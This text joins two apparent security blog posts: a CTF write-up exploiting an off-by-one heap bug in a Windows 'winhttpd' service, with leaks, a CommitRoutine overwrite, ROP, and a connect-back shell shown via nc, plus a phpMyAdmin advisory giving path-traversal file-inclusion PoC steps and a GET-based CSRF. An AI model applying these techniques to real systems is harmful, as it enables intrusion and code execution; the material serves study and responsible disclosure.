The httpd itself doesn’t do much: you can only read local files (without traversal) or login. The login takes username/password/domain parameters, and just greets you if the credentials are valid, or fails. The domain parameter has to be either empty or start with “win.local“, which is the first bug since you can send “win.local.mydomain.com“. This will cause the httpd to open a socket on port 12345 to your domain, send “<username>::<password>” on that socket, and wait for the authentication response.
The other bug lies in the custom strcpy_n function that is used to store various variables in the following http_request struct (which is also stored on the heap shortly after the thread creation):
if (!_stricmp(key, "Host") && !*req->hostname) {
strcpy_n(req->hostname, value, sizeof(req->hostname));
⇨ overflows the headers pointer (pointer to a dictionary, which is an array of key-value pointers)
Only the last one is interesting as it means we can make the headers dictionary – which I’ll refer to as headers** from now on – point to controlled memory.
During the parsing of HTTP headers, key-value pairs are added to the headers dictionary by a dict_add() function:
the program loops up to req->headers_count times to check if the same header name already exists
if it doesn’t, a new key and value are allocated with HeapAlloc()
then the dictionary gets extended with HeapReAlloc() and the new pair is appended to the dictionary
if it does, the key remains unchanged
if the value is <= to strlen(prev_value), the previous bytes are just edited
if it is not, the value gets extended with HeapReAlloc()
So if the headers** points in controlled memory, the parsing of next headers could lead to an arbitrary write by editing a valid key with a value that points wherever we want.
Headers are never printed by the application and thus can’t be used directly for an arbitrary read. dict_add() is also used to add key-value pairs to the params** dictionary.
The initial leak
Before we go further we need an initial leak to bypass ASLR.
If we manage to put the headers** on top of a valid chunk, we can add a new header to cause a HeapReAlloc on that chunk without having to worry about messing up with the allocator’s metadata (inlined or not): as far as it is concerned, this is a valid demand.
If the new size is more than that of the chunk we overlap with, the allocator will try to extend it. If there is enough free space adjacent to the chunk, that will be used and will just increase the size of our chunk, otherwise it’ll allocate new memory and free the old chunk, thereby allowing us to free the overlapped chunk.
Now there’s a catch: before the headers** gets HeapReAlloc()‘ed, dict_add checks if the new header we’re adding exists already, and will therefore loop against all entries of headers**. Since our off-by-one bug gets triggered on a headers** that has at least one entry (the “Host” header itself), dict_add will always try to dereference a key pointer at least once, which is problematic since we haven’t bypassed ASLR yet.
The idea here is that we can use KUSER_SHARED_DATA, a section of memory that is always mapped at 0x7ffe0000 – as can be observed with !address in WinDbg.
That doesn’t contain any useful pointer for us on Windows 10, but it is perfect to survive a pointer dereference. So we just craft a fake header that points to the NtSystemRoot, which is "C\x00" (unicode string).
The GET parameters stored in params** have a urldecoded value, which allows us to store NULL bytes in the value. Furthemore the username and password params can be leaked over the “domain” socket, therefore we can craft our fake header** in one of these, and free the value. The allocator will insert a FreeList entry (Flink + Blink) inside the free chunk, so printing the value will leak us the Flink and thus the position of the heap!
Let’s see how it works. First we register a few breakpoints to pretty-print our allocations:
bp ntdll!RtlAllocateHeap "r @$t1 = @rcx ; r @$t2 = @edx ; r @$t3 = @r8; g"
bp ntdll!RtlReAllocateHeap "r @$t4 = @rcx ; r @$t5 = @edx ; r @$t6 = @r8; r $t7 = @r9 ; g"
bp winhttpd+24C5 ".printf \"----------------------------------------------------------------------------------------------------\\nNew Heap @ %#p\\n\", @rax ; g"
bp winhttpd+24DD ".printf \"req_head : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2508 ".printf \"http_request : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2732 ".printf \"req->content : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+213A ".printf \"req->query_string : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+36DE ".printf \" dict_add new key : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+3715 ".printf \" dict_add new value : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+374C ".printf \" dict_add realloc value : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37FF ".printf \" dict_add realloc dict : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37D0 ".printf \" dict_add new dict : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+1D20 ".printf \"Parsing params...\\n\" ; g"
bp winhttpd+22C8 ".printf \"Parsing header...\\n\" ; g"
g
At [1] we managed to get the username (params[2].value) aligned with 0x100.
At [2] we create a header value whose size is 0x30* ; the headers** size is now 0x10
At [3] we realloc that header’s value, leaving a free chunk of size 0x30 available
At [4] we create another header, the headers** size is now 0x20, we use a key and value that are larger than 0x30 to avoid consuming the free 0x30 chunk
At [5] we perform the off-by-one
first the “Host” header is added, the headers** size becomes 0x30, and thus it reuses the free 0x30 chunk
the headers** LSBs change from 2e80 to 2e00 because of the off-by-one ⇨ headers** == params[2].value
At [6] we add another header, which causes HeapReAlloc to free headers** and allocate headers** further in the heap
the allocator puts its Flink and Blink freelist pointers in params[2].value, which we will leak over our “domain socket”
Note*: 0x30 is not the real size, I forgot to consider the terminating NULL bytes and the metadatas’ size in my calculations. It doesn’t matter, what matters is our plan : that an alloc of 0x41 doesn’t fit into a chunk allocated for 0x31
Because at the end of the request handle_client calls HeapFree on all previously allocated pointers, we want to keep our “domain” socket open as long as possible to avoid a crash. That also avoids the HeapDestroy call which would destroy our heap before we can even use our leak.
Leaking NTDLL
winhttpd doesn’t store any function pointer or pointer to its .data section. We’re in a clean heap, is there anything useful for us in there?
All pointers seem to point inside the current heap except this one:
This is great because we always can find a pointer into NTDLL. Now we need a strategy to leak its value.
Arbitrary read/write
To obtain an arbitrary write primitive we can overwrite the pointers inside header** and params**. params** is more interesting though because we can also leak the values if the param key is either username or password.
Therefore we will want to overlap header** and param** and once again cause a HeapReAlloc(header**) to free the param** chunk.
At [1] we managed to get params** aligned with 0x100
At [2] we perform the off-by-one
first the “Host” header is added and reuses the old "BBBBBBBB" username, the headers** is created with a size of 0x10
the headers** LSBs change from 2dd0 to 2d00 because of the off-by-one ⇨ headers** == params**
At [3] we add a header, which is actually an old test that I forgot to remove
the headers** size is now 0x20, this still fits in the original size of params**: 0x30. Therefore this doesn’t free or moves it.
At [4] we add another header with a small value
the headers** size is now 0x30, which still fits in the original size of params**
At [5] we add the Content-Length header, which is mandatory to send POST params
it makes sure there’s an allocated chunk after the value of [4]
the headers** size becomes 0x40, which causes HeapReAlloc to free headers** and allocate it further in the heap
param** is now free
At [6] we edit the value of [4], causing a HeapReAlloc
since the chunk can’t be extended that much anymore, it frees it and moves it further in the heap
we now have a small chunk available for next step
At [7] the POST content is allocated, this doesn’t fit in free chunks and therefore gets allocated at the end of the heap
At [8] the first POST param is added to params**
All pointers in param** can be dereferenced: the program doesn’t crash
the key reuses our previously freed small chunk
the value overlaps with the free params** itself so we now fully control the values inside params** ⇨ arbitrary read/write
params** gets reallocated, but keeps our crafted key-value pairs
Note that the arbitrary write is limited: we can only edit up to strlen(target) anywhere in memory.
The heap CommitRoutine callback
With the NTDLL base leaked I have no doubt you can find interesting pointers. Many of them seem available but are mangled and without names, which isn’t very cool. You could also leak the TEB and thus other libraries too, unlocking more targets.
On the other hand out of curiosity I wanted to look at what the heap structure looks like. The lame way to find its name (which I used of course) was to google “heap structure windows” which returns this paper as a first result. Then try several of the mentionned structures until one seems legit. Here nt!_HEAP looked ok
The CommitRoutine field immediately caught my eye as it sounds like something you can trigger with a large allocation (such as with our Content-Length). The documentation mentions the following:
Callback routine to commit pages from the heap. If this parameter is non-NULL, the heap must be nongrowable. If HeapBase is NULL, CommitRoutine must also be NULL.
However our private heaps are growable since they are created with HeapCreate(0, 0, 0), whose documentation says:
If dwMaximumSize is 0, the heap can grow in size. The heap’s size is limited only by the available memory.
Anyways if we change its value manually in the debugger and trigger a large allocation, it turns out that the callback is indeed called!
0:004> dt nt!_HEAP 1ee`a0a60000 CommitRoutine
ntdll!_HEAP
+0x168 CommitRoutine : 0x685d9804`f365ca2b long +685d9804f365ca2b
0:004> eq 1ee`a0a60000+168 4142434445464748
0:004> g
(25ac.3eac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!guard_dispatch_icall_nop:
00007ff8`92a73030 ffe0 jmp rax {291fdb40`b6238d63}
0:003> r
rax=291fdb40b6238d63 rbx=000001eea0a60000 rcx=000001eea0a60000
rdx=000000363e8ff980 rsi=000001eea0a64fc0 rdi=000001eea0a64fd0
rip=00007ff892a73030 rsp=000000363e8ff918 rbp=000001eea0a60000
r8=000000363e8ffa28 r9=0000000000003010 r10=00007ff892af09a0
r11=8080808080808080 r12=0000000000000000 r13=000000000000007f
r14=000000363e8ffa28 r15=000001eea0a602e8
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
As we can see several registers have values in the heap, with rbx, rcx and rbp pointing to the beginning of the heap. Using this along with our (constrained) arbitrary-write, we should be able to pivot to a ROP/JOP chain.
A quick look inside RtlpFindAndCommitPages (from the Stack Trace) shows a xor rax, cs:RtlpHeapKey before the call to the CFG dispatch function (Control Flow Guard isn’t enabled here).
So the initial value of CommitRoutine was NULL, we can leak the heap XOR key either from a heap or directly in NTDLL.
Finding the address of any heap
This is all great but we can’t trigger a large allocation from any of the previous threads anymore, so we’ll have to create a new one, wait before sending it the HTTP headers, and leak its address in the meantime.
The above gadget pivots to the beginning of the heap (rbp) and pops 3 values off the pivoted stack, therefore we must control heap+0x18, which is SegmentListEntry, a heap entry without NULL bytes in its LSBs – so we can edit it.
So, we overwrite:
heap+0x168 (CommitRoutine) with pivot_gadget ^ RtlpHeapKey
heap+0x18 (SegmentListEntry) with a large “add rsp, 0xXXX” gadget:
0x0d26c4: add rsp, 0x0000000000000CD0 # pop rbx # ret
Now we can store a retsled followed by a ROP chain. Since I didn’t bother to leak any other libs from NTDLL I decided to ROP directly to ntdll!NtProtectVirtualMemory, the syscall used behind the scenes by VirtualProtect – which allows to change the heap page permissions to RWX.
At this point we just need to store a connect-back shellcode after the ROP and jump into it to finally get our shell and read the flag!
$ ./sploit.py 172.16.62.153 42003
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19224
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] heap leak: 0x17ccd223160
[+] heap of thread 1 @ 0x17ccd220000
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19225
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] 'username' in heap 1 @ 0x17ccd222c80
[*] ntdll pointer @ 0x17ccd2202c0
[*] 'password' in heap 1 @ 0x17ccd222ca0
[*] CommitRoutine in heap 1 @ 0x17ccd220168
[+] ntdll!RtlpStaticDebugInfo leak: 0x7ff892b33d10
[+] NTDLL @ 0x7ff8929d0000
[+] ntdll!RtlpHeapKey = 0xf603ad6b90e97029
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19226
[+] Opening connection to 172.16.62.153 on port 42003: Done
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] thread 4 addr stored in ntdll @ 0x7ff892b33bb0
check threads list
[+] target_heap @ 0x17ccd460000
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19227
[+] Opening connection to 172.16.62.153 on port 42003: Done
[+] Spawning shell...
And get the connect-back (here from the CTF server):
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [212.83.129.72] from 95.230.242.35.bc.googleusercontent.com [35.242.230.95] 49729
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\winhttpd\inetpub>cd ..
C:\winhttpd>dir
Volume in drive C has no label.
Volume Serial Number is F845-3464
Directory of C:\winhttpd
01/19/2019 01:07 AM <DIR> .
01/19/2019 01:07 AM <DIR> ..
01/19/2019 12:52 AM <DIR> inetpub
01/19/2019 01:06 AM 26,112 winhttpd.exe
01/18/2019 11:01 PM <DIR> wow_gg_the_flag_is_in_here
1 File(s) 26,112 bytes
4 Dir(s) 40,418,689,024 bytes free
C:\winhttpd>cd wow_gg_the_flag_is_in_here
C:\winhttpd\wow_gg_the_flag_is_in_here>type flag.txt
INS{HEADs I WIN, tails you lose}
In summary we used 5 requests/threads which we all kept alive throughout the exploit:
1st one leaked the address of the first private heap
2nd leaked NTDLL + the RtlpHeapKey value
3rd leaks the address of the target heap
4th has the target heap, we keep it waiting for a while then trigger a large allocation to get RIP
5th uses a the arbitrary write to overwrite the mangled CommitRoutine pointer with a stack pivot
Conclusions
Of course none of this is really specific to “private” heaps. You can find the same ntdll!RtlpStaticDebugInfo pointer and CommitRoutine callback in the main heap as well
Unfortunately no team was able to solve the challenge during the CTF, although it appears that several teams were pretty close!
You can find my exploit here and the sources here. It can fail sometimes because of things like occasional NULL bytes in the leaked values, but should work most of the time.
During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.
1. Local File INCLUSION in transformation feature
The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.
Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.
Here is an example of how the transformation is applied, from tbl_replace.php:
<?php
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
/** @var IOTransformationsPlugin $transformation_plugin */
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
// check if transformation was successful or not
// and accordingly set error messages & insert_fail
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}
The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.
Here is a PoC to exploit this vulnerability:
Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code): CREATE DATABASE foo; CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY ); INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
Fill the transformation information with the path traversal in the “pma__column_info” table: INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.
2. CSRF for updating data in table
This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :
A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.
These vulnerabilities are both important. We responsibly disclosed them and they were patched on the newly released phpMyAdmin 4.8.4.
Timeline :
2018.06.21 – Initial contact with phpMyAdmin security team.
2018.06.24 – Initial response that the team will investigate.
2018.08.02 – Request for news.
2018.08.28 – Re-request for news.
2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
2018.11.01 – Request for news.
2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.